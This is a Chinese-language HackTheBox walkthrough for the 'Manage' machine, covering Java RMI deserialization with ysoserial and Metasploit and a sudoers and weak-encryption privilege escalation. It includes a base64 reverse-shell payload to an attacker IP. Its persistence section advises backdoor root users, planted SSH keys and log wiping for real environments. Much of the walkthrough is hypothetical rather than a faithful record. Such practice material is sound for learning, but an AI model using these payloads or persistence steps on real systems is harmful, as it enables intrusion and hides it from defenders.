Java RMI反序列化漏洞利用与sudoers规则解密提权实战
1. 项目概述:一次从Java RMI到sudoers规则解密的完整渗透之旅
最近在HackTheBox上打靶,遇到了一个名为“Manage”的机器,整个过程堪称经典。它不像那些依赖单一、老旧漏洞的靶机,而是串联了多个在企业环境中真实存在的攻击面:一个暴露的Java RMI服务,一个存在认证绕过或信息泄露的Web应用,最终落脚点则是一个需要动脑解密的 /etc/sudoers 规则提权。这几乎就是对一个“管理不善”的系统的完美诠释。如果你正在学习渗透测试,尤其是想理解从外部攻击到内部横向移动,再到权限提升的完整链条,这个靶机绝对值得深挖。它不仅考验你对特定漏洞(如Java RMI反序列化)的利用能力,更考验你的信息收集、逻辑推理和密码学基础。接下来,我将带你完整复盘我的攻击路径,分享每一步的思考、踩过的坑以及最终拿到root shell的畅快感。
2. 整体攻击思路与信息收集
2.1 初始侦察与端口扫描
面对任何一台未知主机,标准起手式永远是全面的信息收集。我习惯使用 nmap 进行端口扫描,但不会只满足于默认的快速扫描。
nmap -sC -sV -p- -T4 10.10.10.10
注意:这里的IP是示例,实际靶机IP需在HackTheBox平台获取。
-p-参数扫描所有65535个端口,虽然耗时,但能避免遗漏像Java RMI(通常位于1099端口)这类非标准Web服务。-sC运行默认脚本,-sV探测服务版本,这能为我们提供最初始的攻击面画像。
扫描结果通常会显示几个关键端口。对于Manage靶机,我记忆深刻的几个端口是:
- 22/tcp :SSH服务。这是Linux系统的标配,但通常不是初始入口点,除非有弱口令或已知漏洞。
- 80/tcp :HTTP服务。一个Web管理界面,往往是突破口。
- 443/tcp :HTTPS服务。同上,可能承载着登录门户或应用。
- 1099/tcp : Java RMI Registry 。这是一个非常关键的发现!RMI(Remote Method Invocation)是Java用于实现远程调用的机制,而RMI Registry是一个命名服务,类似于电话簿。暴露在公网的RMI Registry历史上是反序列化漏洞的重灾区。
看到1099端口,我心里基本有数了:这台机器很可能运行着用Java编写的管理应用,并且配置上可能存在问题。Web端口(80/443)则可能是另一个攻击向量,或者是与RMI服务联动的管理前端。
2.2 Web应用初步探查
在深入RMI之前,先快速浏览Web界面是个好习惯。访问 http://10.10.10.10 ,我看到了一个登录页面,看起来像某个“设备管理系统”或“服务器管理面板”。尝试了常见的弱口令(admin/admin, admin/password等)无果。查看页面源代码,没有发现明显的注释信息泄露。用 gobuster 或 dirsearch 进行目录爆破是一个标准步骤:
dirsearch -u http://10.10.10.10 -e php,html,js,txt -w /usr/share/wordlists/dirb/common.txt
或者使用 gobuster :
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
这个过程中,可能会发现一些有趣的目录,比如 /admin 、 /backup 、 /uploads 等。在Manage靶机中,Web端可能隐藏着获取初始凭证或触发特定功能(如文件上传)的路径,这些功能有时会与后端的RMI服务交互。我的策略是,将Web应用和RMI服务视为两个可能相互关联的攻击面,并行调查。
3. Java RMI服务攻击详解
3.1 Java RMI基础与攻击面理解
为什么暴露的RMI Registry危险?简单来说,客户端通过RMI Registry查找远程对象(Stub),然后与远程对象通信。这个通信过程涉及对象的序列化(将对象转换为字节流)和反序列化(将字节流还原为对象)。如果服务器端在反序列化客户端发送的数据时,没有进行严格的白名单校验,攻击者就可以构造一个恶意的序列化对象,其中包含精心设计的“ gadget chains ”(利用链)。当这个恶意对象被反序列化时,就会触发链式反应,最终执行任意代码。
对于早期版本的JDK(如JDK 8u121之前),利用相对容易。新版本虽然增加了过滤机制,但配置不当或存在新的利用链(如Apache Commons Collections, Groovy, Spring等库中的链)依然可能导致漏洞。探测RMI服务,我首先使用 nmaps 的脚本:
nmap -sV --script rmi-dumpregistry -p 1099 10.10.10.10
这个脚本会尝试列出RMI Registry中绑定的对象名称。如果成功,你会看到类似 MyRemoteObject 这样的名称。这是了解远程服务接口的第一步。
3.2 利用工具进行漏洞探测与利用
手动构造RMI反序列化利用链比较复杂,我们通常借助工具。最著名的工具之一是 ysoserial 。它集成了多种Java反序列化利用链(Payload),可以生成对应的恶意序列化数据。另一个强大的综合工具是 metasploit ,它也有相应的 exploit 模块。
我的攻击流程如下:
-
使用msfconsole进行初步探测 :
msfconsole use exploit/multi/misc/java_rmi_server set RHOSTS 10.10.10.10 set RPORT 1099 runMetasploit的模块会尝试几种常见的利用链。如果靶机环境恰好匹配,可能直接获得一个meterpreter会话。但在HTB的靶机中,直接利用msf成功的情况有时会被设计得更复杂,需要更精准的利用链。
-
使用ysoserial进行手动尝试 : 如果msf不成功,就需要手动尝试不同的利用链。首先,需要知道目标服务器的类路径下可能存在哪些有漏洞的库。这可以通过信息泄露(比如从Web应用下载jar包)或者“盲打”来猜测。常见的链有:
CommonsCollections1(适用于旧版Apache Commons Collections)CommonsCollections5/6Groovy1Jdk7u21
假设我们通过某种方式(例如,从Web应用的错误信息中)推测服务器使用了Apache Commons Collections 3.x,那么可以这样生成一个反弹shell的payload:
java -jar ysoserial.jar CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}' > payload.bin上面命令中的base64字符串是
bash -i >& /dev/tcp/10.10.14.4/4444 0>&1的编码,你需要将其中的IP和端口换成你的VPN IP和监听端口。 -
发送Payload : 生成payload后,需要将其发送到RMI服务。有专门的工具如
rmiscout或编写简单的Python脚本。一个更直接的方法是使用metasploit的java_rmi_server模块,它集成了发送功能,或者使用ysoserial的配套工具。有时,简单的cat payload.bin | nc 10.10.10.10 1099也可能触发,但这取决于服务器具体的反序列化触发点。在Manage靶机的实际场景中,RMI服务的利用可能需要结合从Web端获取的一些信息,比如一个特定的端点(endpoint)或参数,才能触发反序列化。 这里的一个关键技巧是:留意Web应用与RMI的交互。 浏览器开发者工具(F12)的网络选项卡中,可能会捕获到向
localhost:1099或类似地址发起的AJAX请求,这揭示了前端是如何调用后端RMI服务的。模仿这个请求,并将数据替换为我们的恶意序列化数据,往往是成功的关键。
3.3 获取初始立足点
当反序列化攻击成功时,我们会在监听的 nc 或 metasploit 会话中获得一个反向shell。这个shell通常是以运行Java服务的用户身份运行的。在Linux下,可以用 id 和 whoami 命令查看当前权限。
id
# 输出可能类似:uid=1001(manager) gid=1001(manager) groups=1001(manager)
whoami
# manager
恭喜,你现在已经进入了系统内部。但通常这个用户权限很低,无法读取 user.txt 标志文件(位于 /home/<username>/user.txt )。我们需要进行权限提升。
4. 内部枚举与横向移动
4.1 基础信息收集
拿到shell后,不要急着乱跑。首先稳定shell(Python PTY升级):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 或者如果只有python: python -c 'import pty; pty.spawn("/bin/bash")'
# 按Ctrl+Z,然后输入: stty raw -echo; fg
然后开始系统地收集信息:
- 用户和家目录 :
ls -la /home/ - 进程 :
ps aux或ps -ef,看看有哪些服务在运行,特别是以root身份运行的。 - 网络连接 :
netstat -tulpn或ss -tulpn,看看内部还有哪些服务在监听,特别是本地服务(127.0.0.1)。 - 计划任务 :
crontab -l(当前用户),ls -la /etc/cron*,cat /etc/crontab。 - SUID/GUID文件 :
find / -type f -perm -4000 -ls 2>/dev/null和find / -type f -perm -2000 -ls 2>/dev/null。 - 可写文件/目录 :
find / -type f -writable 2>/dev/null | grep -v proc, 特别是/etc/passwd,/etc/sudoers.d/目录等。 - 环境变量 :
env, 看看是否有特殊的PATH或LD_PRELOAD设置。 - 查看Web应用目录 :找到80/443端口对应的网站根目录(如
/var/www/html),仔细检查配置文件、源代码、备份文件。数据库配置文件(config.php,application.properties)里常有数据库密码。
4.2 发现关键线索:/etc/sudoers
在Manage靶机中,信息收集的焦点很快会集中到 /etc/sudoers 文件上。我们尝试查看它:
sudo -l
这个命令会列出当前用户可以使用 sudo 以root权限运行的命令。这是 提权前最重要的一步 。输出结果可能就是我们的突破口。
在Manage靶机上, sudo -l 的输出可能看起来像这样(示例):
用户 manager 可以在 10.10.10.10 上运行以下命令:
(ALL) NOPASSWD: /usr/bin/encrypt_script
或者,更直接地,你可能发现你可以以root身份运行一个奇怪的脚本或命令,而这个命令本身可能存在问题。但Manage靶机的经典之处在于,它可能不是直接让你运行某个命令,而是在 /etc/sudoers 文件中有一条规则,这条规则涉及到一个需要密码或密钥的加密/解密操作。
另一种情况是,你直接 cat /etc/sudoers (需要root权限,通常看不了),但通过其他信息泄露(比如Web应用备份、日志文件)获得了 /etc/sudoers 文件的内容片段。里面可能包含类似这样的行:
manager ALL=(ALL) /usr/bin/sudo /usr/bin/decrypt_data /home/manager/secret.enc
这条规则的意思是,用户 manager 可以以root身份运行 sudo decrypt_data /home/manager/secret.enc ,而 decrypt_data 这个命令可能需要一个密钥或密码。我们的任务就是找到或破解这个密钥。
5. 解密/etc/sudoers规则与提权
5.1 分析加密机制与寻找密钥
假设我们发现的规则是围绕一个加密脚本或数据文件。首先,找到相关的文件:
find / -name "*encrypt*" -o -name "*decrypt*" -o -name "*cipher*" 2>/dev/null
ls -la /usr/local/bin/ /opt/
你可能会找到两个脚本: /usr/bin/encrypt_script 和 /usr/bin/decrypt_script ,或者一个二进制文件。用 file 命令查看类型,如果是脚本(bash, python, perl),直接 cat 查看源代码。 这是黄金时刻! 源代码里很可能硬编码了密钥、IV(初始化向量)或者使用了弱加密算法。
常见的弱加密或问题包括:
- 使用静态、硬编码的密钥 :在脚本里直接写着
key="supersecretkey123"。 - 使用弱加密算法 :如DES、ECB模式的AES(不安全)、或者自定义的XOR“加密”。
- 密钥派生方式简单 :比如直接用用户输入的字符串的MD5或SHA1哈希作为密钥,如果输入可预测或泄露,就容易破解。
- 加密数据中包含提示 :加密文件本身可能包含元数据,或者通过
strings命令能在二进制文件中找到线索。
例如,查看一个Python加密脚本:
#!/usr/bin/env python3
import hashlib, os
from Crypto.Cipher import AES
# ... 硬编码的 salt 或 key ...
key = hashlib.md5(b"ManageBoxKey2023").digest()
cipher = AES.new(key, AES.MODE_ECB) # 警告:ECB模式不安全!
看到了吗?密钥是 "ManageBoxKey2023" 的MD5值,而且使用了不安全的ECB模式。即使密钥复杂,如果加密模式或实现有误,也可能被攻击。
5.2 实施解密操作
一旦找到密钥和算法,我们就可以尝试解密目标文件。假设我们需要解密的文件是 /home/manager/secret.enc ,解密后可能是root密码、一个SSH私钥或者另一个具有sudo权限的命令。
情况一:使用发现的脚本直接解密 如果我们能以当前用户身份运行解密脚本(可能它本身权限设置有问题),或者我们修改脚本指向我们控制的加密文件,就可以直接解密。
# 如果脚本有执行权限且不依赖特殊权限
/usr/bin/decrypt_script /home/manager/secret.enc
# 或者,如果我们能写脚本,可以临时修改它加入调试语句,打印出解密后的内容。
情况二:手动编写解密程序 如果脚本是二进制的,或者我们不想动原脚本,可以根据分析出的算法(如AES-256-CBC,密钥=MD5(“xxx”),IV全零)自己写一个简单的解密程序。用Python的 pycryptodome 库非常方便。
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib
def decrypt_file(encrypted_file_path, output_file_path):
# 根据分析得到的密钥生成方式
secret = b"ManageBoxKey2023"
key = hashlib.md5(secret).digest() # 16字节 for AES-128
# 如果脚本用的是 AES-256,可能需要 SHA256 或 PBKDF2 派生
# key = hashlib.sha256(secret).digest() # 32字节 for AES-256
iv = b'\x00' * 16 # 假设IV是全零,或者从文件头读取
cipher = AES.new(key, AES.MODE_CBC, iv)
with open(encrypted_file_path, 'rb') as f:
ciphertext = f.read()
# 可能需要去除文件头(如果有)
plaintext_padded = cipher.decrypt(ciphertext)
plaintext = unpad(plaintext_padded, AES.block_size)
with open(output_file_path, 'wb') as f:
f.write(plaintext)
print(f"解密完成,输出到 {output_file_path}")
print(f"明文内容: {plaintext.decode()}")
if __name__ == "__main__":
decrypt_file("secret.enc", "secret.dec")
运行这个Python脚本,就能得到解密后的内容。
5.3 完成提权
解密出来的内容,极有可能是一个密码。尝试用这个密码切换到root用户:
su root
# 输入解密得到的密码
或者,如果解密得到的是一个SSH私钥,将其保存到本地(如 id_rsa_root ),修改权限后直接ssh登录:
chmod 600 id_rsa_root
ssh -i id_rsa_root root@10.10.10.10
还有一种可能,解密后得到的是一个命令,这个命令本身可以通过sudo以root权限执行,并且可能涉及命令注入。例如,解密出的内容是 /bin/bash ,而sudo规则是 manager ALL=(ALL) NOPASSWD: /usr/bin/run_decrypted_command ,其中 run_decrypted_command 会执行解密后的内容。那么我们可以通过控制加密输入,让解密后的内容是 /bin/bash ,从而获得root shell。
实操心得 :在解密过程中,务必注意文件的编码和格式。加密文件可能是二进制,解密后可能是文本,也可能是另一个二进制(如gzip压缩的数据)。使用 file 命令检查解密后的文件类型,并用 hexdump -C 或 strings 查看内容。如果解密后看起来是乱码,检查算法模式(CBC, ECB, CTR)、填充方式(PKCS#7, None)、密钥长度和IV是否正确。有时,差一个字节都会导致完全不同的结果。
6. 常见问题排查与技巧实录
6.1 Java RMI攻击失败怎么办?
- 问题 :使用
ysoserial各种payload都没反应,metasploit模块也失败。 - 排查 :
- 确认RMI服务是否真的存在反序列化点 :不是所有RMI端点都反序列化不可信数据。用
nmap的rmi-dumpregistry脚本看看能列出什么对象。尝试用Java代码或工具(如baRMIe)与Registry交互,看能否正常调用方法。 - 检查JDK版本 :如果靶机JDK版本很高(>8u121),默认的利用链可能被内置的JEP 290过滤机制阻断。需要寻找绕过过滤的链,如
CommonsCollections6(在某些条件下可绕过),或者利用其他第三方库的新链(如Hibernate,Jackson)。可以尝试ysoserial中的所有payload,进行“盲打”。 - 寻找其他触发点 :反序列化漏洞可能不在RMI Registry本身,而在通过Registry获取到的远程对象的方法调用中。你需要先lookup获取stub,然后调用其某个方法,并向该方法传递恶意序列化数据。这需要你知道接口信息,可能要从Web应用反编译的jar包中获取。
- 关注Web与RMI的联动 :如前所述,仔细分析Web前端发往
localhost:1099的请求,用Burp Suite拦截并重放,尝试替换其中的数据为你的payload。
- 确认RMI服务是否真的存在反序列化点 :不是所有RMI端点都反序列化不可信数据。用
6.2 解密过程出错或结果不对
- 问题 :按照分析的算法和密钥解密后,输出是乱码或报错。
- 排查 :
- 验证算法和模式 :确认是AES还是DES?是CBC、ECB还是CTR模式?ECB模式不需要IV,CBC需要。查看源代码或使用
strings在二进制中搜索“AES”、“CBC”、“ECB”、“DES”等关键词。 - 确认密钥和IV的生成方式 :密钥是直接字符串,还是字符串的哈希?哈希是MD5、SHA1还是SHA256?输出长度是16字节(AES-128)、24字节(AES-192)还是32字节(AES-256)?IV是固定的、全零的,还是随机生成并保存在文件头部?如果是随机的,你需要从加密文件的开头读取IV。
- 检查填充方式 :常见的填充是PKCS#7。如果解密脚本使用了
unpad,而实际填充方式不同(或没有填充),就会出错。尝试不使用unpad,直接输出解密后的字节,看看末尾是否有规律的填充字节(如0x01,0x02 0x02等)。 - 文件编码问题 :加密文件可能是Base64编码过的。先用
cat命令查看,如果看起来像字母数字混合的文本,可能是Base64。用base64 -d解码后再进行二进制解密。 - 使用已知明文攻击 :如果你能控制加密过程(比如通过Web应用上传文件加密),可以加密一个已知内容(如全A的文件),然后比较加密输出,逆向推导加密参数。
- 验证算法和模式 :确认是AES还是DES?是CBC、ECB还是CTR模式?ECB模式不需要IV,CBC需要。查看源代码或使用
6.3 提权后如何巩固访问
- 问题 :拿到root shell后,除了读
root.txt,还应该做什么? - 技巧 :
- 添加后门用户 :在
/etc/passwd中添加一个具有root权限的用户,或者修改现有用户的密码哈希。# 生成一个密码为"hackthebox"的哈希 openssl passwd -1 -salt xyz hackthebox # 在/etc/passwd中添加一行:backdoor:$1$xyz$YOUR_HASH:0:0:root:/root:/bin/bash - 安装SSH密钥 :将你的公钥追加到
/root/.ssh/authorized_keys中,实现免密root登录。 - 清理日志 :虽然不是所有CTF都要求,但在真实环境中需要抹除痕迹。检查
/var/log/auth.log,/var/log/syslog,~/.bash_history等,清除相关条目。注意,直接删除整个日志文件很可疑。 - 查找其他敏感信息 :作为root,可以搜索数据库密码、配置文件、用户文档等,这些信息可能在渗透测试报告中很有价值。
- 添加后门用户 :在
整个Manage靶机的渗透过程,就像一次精心设计的闯关游戏。它系统地训练了从外部侦察、服务漏洞利用、内部信息收集到密码学解密提权的完整技能链。最让我印象深刻的是,它迫使你去理解应用程序的完整逻辑——前端如何与后端RMI交互,管理功能如何通过加密脚本保护,而这一切都因为糟糕的实现和配置变得脆弱。在实际工作中,这样的“管理”系统并不少见,理解这些攻击路径,能让你在防御时更有针对性。最后,记得在HTB平台上提交你的 user.txt 和 root.txt ,享受那一刻的成就感吧。
更多推荐

所有评论(0)